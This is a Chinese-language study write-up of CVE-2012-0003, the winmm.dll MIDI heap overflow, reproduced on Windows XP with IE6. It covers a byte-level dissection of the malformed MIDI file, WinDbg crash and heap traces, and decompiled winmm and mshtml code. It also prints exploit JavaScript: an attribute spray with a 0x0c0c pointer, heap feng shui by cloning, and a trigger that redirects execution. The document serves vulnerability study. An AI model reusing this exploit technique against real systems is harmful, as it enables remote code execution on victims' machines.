文章目录
- 一、MIDI文件格式
-
- 1.header chunk
- 2.Track Chunks
- 3.test_case.mid分析
- 二、漏洞调试
-
- 1.漏洞环境
- 2.触发漏洞
- 3.ida查看反汇编代码
- 三、利用漏洞
-
- 修改shellcode
- 四、总结及参考
一、MIDI文件格式
MIDI文件由chunk组成,每个chunk由4字节的type(ascii字符如’MThd’) 4字节data len data组成 chunk有两种类型:
- header chunk(头块):包括整个MIDI文件的基本信息。type为’MThd’
- track chunk(音轨块):最多16个MIDI包括通道数据流MIDI序列、模式、歌曲信息。type为’MTrk’
1.header chunk
header chunk在文件的开头,记录MIDI文件的基本信息 可以表示为<Header Chunk> = <chunk type><length><format><ntrks><division>
- chunk type:4字节,固定为MThd‘
- lenght:4字节,数据长度,固定为6(000 00 00 06)
- format:2字节,文件类型 0表示the file contains a single multi-channel track(单个multi-channe) 1表示the file contains one or more simultaneous tracks (or MIDI outputs) of a sequence 2表示the file contains one or more sequentially independent single-track patterns
- ntrks:音轨数(format0时固定为1)
- division:时间计值,节拍?根据15bit分为两种类型ticks per quarter-note,1为negative SMPTE format
2.Track Chunks
音轨块实际存储歌曲数据,每个块都是一个MIDI数据流可以表示为<Track Chunk> = <chunk type><length><MTrk event>
号表示可以有多个MTrk event。 MTrk event可以有多个,表示为<MTrk event> = <delta-time><event>
delta-time:间隔时间?如果两个事件同时发生则表示为0。variable Length Quantity类型 event:事件信息可以表示为以下三种事件之一<event> = <MIDI event> | <sysex event> | <meta-event>
。基本形式是MIDI Message Data Bytes Data。具体信息可参考详细信息event解析
3.test_case.mid分析
在漏洞战争中拿样本test_case.mid这里用的分析LarryS的分析结果
4D 54 68 64 // MThd 四字节的type信息,说明这是一个header trunk 00 00 00 06 // 四字节length信息,表示header trunk后长为6字节 00 00 // Format = 0, 只包含一个表示文件multi-channel track 00 01 // num of tracks = 1,和format = 0相对应 00 60 // 对delta-times第15位的解释是0,所以后面0x60表示ticks per quarter-note,这是一个音乐概念, 4D 54 72 6B // MTrk 四字节的type信息,说明这是一个track trunk 00 00 00 35 // 四字节length信息,表示该track trunk后面的长度是53字节 00 // delta-time, 这个数据是用的variable length quantity FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums (BB) 00 C9 28 // 新的program数值为40 00 B9 07 64 // 音量变化 00 B9 0A 40 // Pan?? 不知道是什么 00 B9 7B 00 // 所有的音符都结束了 00 B9 5B 28 // 效果1深度 00 B9 5D 00 // 效果3深度 85 50 99 23 7F //85 50是delta-time 0x23号音符开始 00 9F B2 73 // 0xB2号音符开始,注意这里B2的最高比例是1,这是非法的 00 FF 2F 00 // track结束
二、漏洞调试
1.漏洞环境
环境 | 备注 | |
---|---|---|
操作系统 | windows XP sp3 | 中文版 |
漏洞模块 | winmm.dll | 5.1.2600.5512 |
漏洞环境 | IExplore | 6.00.2900.5512 |
2.触发漏洞
为IE添加hpa保护,调试方便 漏洞战争中的样本cve-2012-0003-ie6.htm和test_case.mid双击复制到实验环境中htm再用windbg附加。点击允许阻止的内容,安全警告点击是。 漏洞点在0x76b2d224 mov al,byte ptr[esi]。esi无法访问
0:007> g (acc.24c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=03149019 edi=27cfef60 eip=76b2d224 esp=2821fe80 ebp=2821fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:03149019=??
查看esi的堆信息,堆起始为0x3148c00,大小为0x400。esi超过堆的界限所以报错
0:010> !heap -p -a esi
address 03149019 found in
_DPH_HEAP_ROOT @ 141000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
3d847f8: 3148c00 400 - 3148000 2000
查看调用情况(需要在windbg里面设置symbols否则函数识别会出错),确定漏洞出在WINMM.dll中。查看WINMM.dll的信息
0:010> kb
ChildEBP RetAddr Args to Child
2821fea0 76b2d2e5 b2e81ad0 76b2d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2821feb4 76b154e3 00000010 00000000 00000ea6 WINMM!midiOutTimerTick+0x4f
2821fedc 76b2adfe 76b2d296 00000003 00000010 WINMM!DriverCallback+0x5c
2821ff18 76b2af02 00000010 015c0000 b1cebd08 WINMM!TimerCompletion+0xf4
2821ffb4 7c80b713 00000000 015c0000 015c0000 WINMM!timeThread+0x53
2821ffec 00000000 76b2aeaf 00000000 00000000 kernel32!BaseThreadStart+0x37
0:010> lm vm WINMM
start end module name
76b10000 76b3a000 WINMM (pdb symbols) c:\windows\symbols\dll\winmm.pdb
Loaded symbol image file: C:\WINDOWS\system32\WINMM.dll
Image path: C:\WINDOWS\system32\WINMM.dll
Image name: WINMM.dll
Timestamp: Mon Apr 14 10:13:53 2008 (4802BDE1)
CheckSum: 0002C65D
ImageSize: 0002A000
File version: 5.1.2600.5512
Product version: 5.1.2600.5512
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0804.04b0
CompanyName: Microsoft Corporation
ProductName: Microsoft(R) Windows(R) Operating System
InternalName: winmm.dll
OriginalFilename: WINMM.DLL
ProductVersion: 5.1.2600.5512
FileVersion: 5.1.2600.5512 (xpsp.080413-0845)
FileDescription: MCI API DLL
LegalCopyright: (C) Microsoft Corporation. All rights reserved.
3.ida查看反汇编代码
在midiOutPlayNextPolyEvent函数中将影响最终访问的代码列出来
v2 = *(WPARAM **)(wParam + 60);
v2[9] += 4;
v7 = v2[9];
v7 += 4;
v8 = *(_DWORD *)(v7 + wParama)
v10 = v8&0xffffff
v17 = v10
if ( (v10 & 0x80u) != 0 )
{
wParam_3a = BYTE1(v10);
}
else
{
v17 = *(_BYTE *)(wParam + 84);
wParam_3a = v10;
}
v16 = *(_DWORD *)(wParam + 0x84);
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
{
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
...
v20 = (char *)(v19 + v16);
v21 = *v20; // 漏洞产生点
}
按照导图推算的方法给所有关键的变量设置断点记录每次运行时的变化
//关键的赋值
76B2D041 mov edi, [ebp+wParam] ; wParam edi
76B2D050 mov esi, [edi+3Ch] ;v2 esi
76B2D09D add ebx, 4 ;v7 ebx
76B2D0B5 mov ecx, [ebx+eax] ;v8 ecx
76B2D0C3 and ecx, 0FFFFFFh ;v10 ecx
76B2D1C7 mov al, cl ;v17 al
76B2D1EB mov byte ptr [ebp+wParam+3], dl;wParam+3 dl
76B2D1D0 mov byte ptr [ebp+wParam+3], cl;wParam+3 cl
76B2D1CD mov al, [edi+54h] ;v17 al
76B2D212 sar eax, 1 ;v19 eax
76B2D21E add esi, eax ;v20 esi
76B2D224 mov al, [esi] ; 漏洞点
//给设置断点并记录信息
bu 76B2D044 ".echo 'wParam';r edi;g;"
bu 76B2D053 ".echo 'v2';r esi;g;"
bu 76B2D0A0 ".echo 'v7';r ebx;g;"
bu 76B2D0B8 ".echo 'v8';r ecx;g;"
bu 76B2D0C9 ".echo 'v10';r ecx;g;"
bu 76B2D1C9 ".echo 'v17';r al;g;"
bu 76B2D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
bu 76B2D1EB ".echo 'wParam_3a';r dl;g;"
bu 76B2D214 ".echo 'v19';r eax;g;"
bu 76B2D220 ".echo 'v16';r esi;g;"
bu 76B2D224 ".echo 'v20';r esi;g;"
两次运行之后得到如下信息,对比test_case.mid可知
-
v2没有改变
-
v7每次增长0xC
-
v8和v10相同
-
最关键的是v17对应的是MIDI文件的事件码,wParam_3a对应事件码后面的参数信息
-
第二次运行时,v16明显是基址,v19为偏移 偏移过大的产生:0x419 = (0xB2+0xF<<7)/2 v16 = *(_DWORD *)(wParam + 0x84)。wParam为函数调用时传入的参数。交叉引用可以知道midiOutTimerTick调用了midiOutPlayNextPolyEvent 所以
wParam= *(_DWORD *)(gpEmuList+0x84)
继续查看gpEmuList的交叉引用 所以最终wParam=winmmAlloc(0x400)
,这也是为什么堆的大小是0x400 能对目标进行加1操作,条件为[(wParam_3a&1) == 0 &&( v22&0xF)≠0xF]
-
一次溢出读一字节
-
对溢出读的内容加1
-
对溢出点写回
三、漏洞利用
漏洞能够对某个地址的值+1。下面是部分利用代码
- 创建了select对象selob
- 为selob分配了64个属性,其中w1为string对象,其他为object对象
- 创建一个大小为1000的数组clones,并调用selob.clone进行复制
- 间隔释放clones数组中的元素,目的是创造很多0x400的空闲堆,使MIDI能够申请到。
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alert
var clones=new Array(1000);
function feng_shui() {
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
查看mshtml.dll(处理ie中html解析模块)中用于处理元素复制的函数CElement::Clone,CElement::Clone会调用CAttrArray::Clone
- 创建CAttrArray结构体
- EnsureSize调整大小为0x10*0x40(属性数量)=0x400。(出现了和LarryS师傅一样的问题,这里是0x42)
- 从不是0x3开头的元素开始复制(b1==3应该都是header类型)
- 最后会为元素数组添加header
//这是自己猜测的CAttrArray结构体,主要关注前两个字段
struct CAttrArray{
DWORD nSize;//元素数组大小
struct CAttrValue* ptrAttrArray;//指向AttrArray元素数组
DWORD unkonw;//这次漏洞没有用到不做分析
}
//只保留了最关键的代码
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{
v3 = (CAttrArray *)_MemAlloc(0xCu);
v4 = CAttrArray::CAttrArray(v3); // 创建CAttrArray结构体
v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);// 根据传入的CAttrArray计算大小
v9 = *((_DWORD *)this + 1);//CAttrArray保存元素属性的地址
while(1)
{
if ( *(_BYTE *)v9 != 3 || v19 ) // 从开头不是0x03的元素(即b1!=3)才能复制
{
v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);// 循环复制
}
}
v21 = (struct CAttrArray **)CAttrArray::EnsureHeader(*a2, 1);// 为元素数组添加Header(0x10大小)
}
在EnsureSizey函数下断点查看申请的堆大小应该是0x10*0x42=0x420。ecx中保存了CAttrArray结构体,查看可知最后分配了0x480大小的堆。这和我们的目标0x400不一致。
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=0176c28c ecx=0176c370 edx=00000042 esi=017698b0 edi=00000000
eip=7e38e7ff esp=0012de68 ebp=0012de90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7e38e7ff e8acb8eeff call mshtml!CImplAry::EnsureSize (7e27a0b0)
0:000> dd esp L3
0012de68 00000010 00000042 00000000
0:000> p
eax=00000000 ebx=0176c28c ecx=7c9301bb edx=00140608 esi=017698b0 edi=00000000
eip=7e38e804 esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CAttrArray::Clone+0x5f:
7e38e804 85c0 test eax,eax
0:000> dd 0176c370
0176c370 00000000 001d5778 00000000 00000000
0176c380 00000000 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> !heap -p -a 001d5778
address 001d5778 found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
001d5770 0091 0000 [01] 001d5778 00480 - (busy)
先假设exp没问题,继续看如何触发执行 3. 当漏洞触发时,midi能够申请到clones其中一个被释放的堆快,并且会将0x08修改为0x09 4. 判断w1的属性是否不是string(即是否被修改),成功修改则去执行。会调用CAttrValue::GetIntoVariant 5. 因为已经将类型修改为0x09最后会去0x0c0c0c0c执行shellcode。
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
这里有两个问题
- 为什么一开始给的属性个数是0x42?
- 为什么CImplAry::EnsureSize之后大小是0x480而不是0x42?
先解决第2个问题,具体看一下EnsureSize代码。EnsureSize会对给的属性个数进行对齐,0x42对齐之后变成了0x48,所以最后堆大小为0x480。
int __thiscall CImplAry::EnsureSize(CImplAry *this, SIZE_T dwBytes, unsigned int a3)
{
v3 = a3;//v3 a3表示属性个数0x42
v5 = dwBytes;//后面dwBytes是临时变量存放计算的结果
a3 = UIntAdd(v3, 7u, &dwBytes);//0x42+7=0x49
v6 = v3 >= 8 ? dwBytes & 0xFFFFFFF8 : v3;//结合上面的+7,就是为了向上和8对齐,0x49变成0x48
a3 = UIntMult(v6, v5, &dwBytes);//0x48*0x10=0x480得到真正大小
v13 = (void *)_MemAlloc(dwBytes);//开辟0x480的内容
}
再解决第1个问题,在CAttrArray::Clone函数开头下断点查看用于复制的内容,根据前面猜测AttrArray结构体可知nszie为0x108(0x108>>2等于0x42),02330d78中保存了CAttrValue数组,除了前两行(第一行应该是header,第二行没找到出处),后面和我们在js中设置的符合。 这里猜测,在设置select属性之前,select的父类设置了1个基本属性并且在数组开头设置了header,导致我们设置了64个属性后占了66个属性的空间,再加上EnsureSize的对齐操作最后导致申请了0x480的堆
0:000> bp 7E38E7A5
0:000> g
(1f8.894): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> g
Breakpoint 0 hit
eax=0176c28c ebx=00000058 ecx=01769530 edx=0012dea8 esi=01769e80 edi=00000000
eip=7e38e7a5 esp=0012de94 ebp=0012df28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CAttrArray::Clone:
7e38e7a5 8bff mov edi,edi
//查看AttrArray结构体
0:000> dd ecx
01769530 00000108 02330d78 16e37040 00000000
01769540 00000902 002dc6c1 00000000 01769f70
01769550 00000004 00310077 00000000 00000000
01769560 00000902 002dc6c1 00000000 01769f70
01769570 00000802 002dc6c2 00000000 001b000c
01769580 7e4b6188 00000002 7e2234ac 01769fa0
01769590 7e26da30 00000000 00000000 00000000
017695a0 00000004 00000000 00000000 00000000
//查看数组内容
0:000> db 02330d78
02330d78 03 81 00 00 00 00 00 80-00 00 00 00 40 c2 76 01 ............@.v.
02330d88 03 0d 00 00 f5 13 01 80-00 00 00 00 78 bf 39 00 ............x.9.
02330d98 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v.
02330da8 02 08 00 00 c2 c6 2d 00-00 00 00 00 0c 00 1b 00 ......-.........
02330db8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v.
02330dc8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v.
02330dd8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v.
02330de8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v.
//计算元素个数
0:000> ?108>>2
Evaluate expression: 66 = 00000042
//查看堆信息
0:000> !heap -p -a 02330d78
address 02330d78 found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02330d70 0091 0000 [01] 02330d78 00480 - (busy)
在CAttrArray::Clone中的MemAlloc之后下断点,查看eax得到CAttrArray对象,再在CAttrArray::Clone返回之前下断点查看复制完成后的CAttrArray对象。结合前面的CAttrArray::Clone代码,可知在复制的时候只会将b1=0x02的属性进行复制,最后在EnsureHeader添加Header
0:000> bp 7E38E7BD
0:000> bp 7E38E7EB
0:000> g
(6dc.454): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=00000058 ecx=0000c000 edx=7e4b5de0 esi=01769530 edi=00000000
eip=7e38e7bd esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CAttrArray::Clone+0x18:
7e38e7bd 85c0 test eax,eax
0:000> dd eax
0176c370 00000000 00000000 00000000 00000000
0176c380 00000000 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> g
Breakpoint 1 hit
eax=001d5778 ebx=0176c28c ecx=00000104 edx=00000000 esi=00000000 edi=02231198
eip=7e38e7eb esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CAttrArray::Clone+0x46:
7e38e7eb 8b45f4 mov eax,dword ptr [ebp-0Ch] ss:0023:0012de84=00000000
0:000> dd 0176c370
0176c370 00000104 001d5778 16e37040 00000000
0176c380 ffffffff 00000000 00000000 00000000
0176c390 00000000 00000000 00000000 00000000
0176c3a0 00000000 00000000 00000000 00000000
0176c3b0 00000000 00000000 00000000 00000000
0176c3c0 00000000 00000000 00000000 00000000
0176c3d0 00000000 00000000 00000000 00000000
0176c3e0 00000000 00000000 00000000 00000000
0:000> db 001d5778
001d5778 03 81 00 00 00 00 00 80-00 00 00 00 80 c3 76 01 ..............v.
001d5788 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v.
001d5798 02 08 00 00 c2 c6 2d 00-00 00 00 00 bc af 1a 00 ......-.........
001d57a8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v.
001d57b8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v.
001d57c8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v.
001d57d8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v.
001d57e8 02 09 00 00 c7 c6 2d 00-00 00 00 00 c0 9a 76 01 ......-.......v.
修改shellcode
根据前面EnsureSize的规则和EnsureHeader的了解,我们需要将原来的w0去除(因为多了一个header),使w1还是在原来的偏移处,还需要去掉最后一个w63,使clone时申请0x400大小。为了测试把堆喷的shellcode改成calc.exe。
四、总结及参考
最大的坑在设置属性的个数上。其他的触发和书上一样。 最后感谢LarryS的文章,基本都是照着看。本来想探索一下属性设置的过程(实力有限呀)
参考 《漏洞战争》 CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
Standard MIDI-File Format Spec. 1.1, updated
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf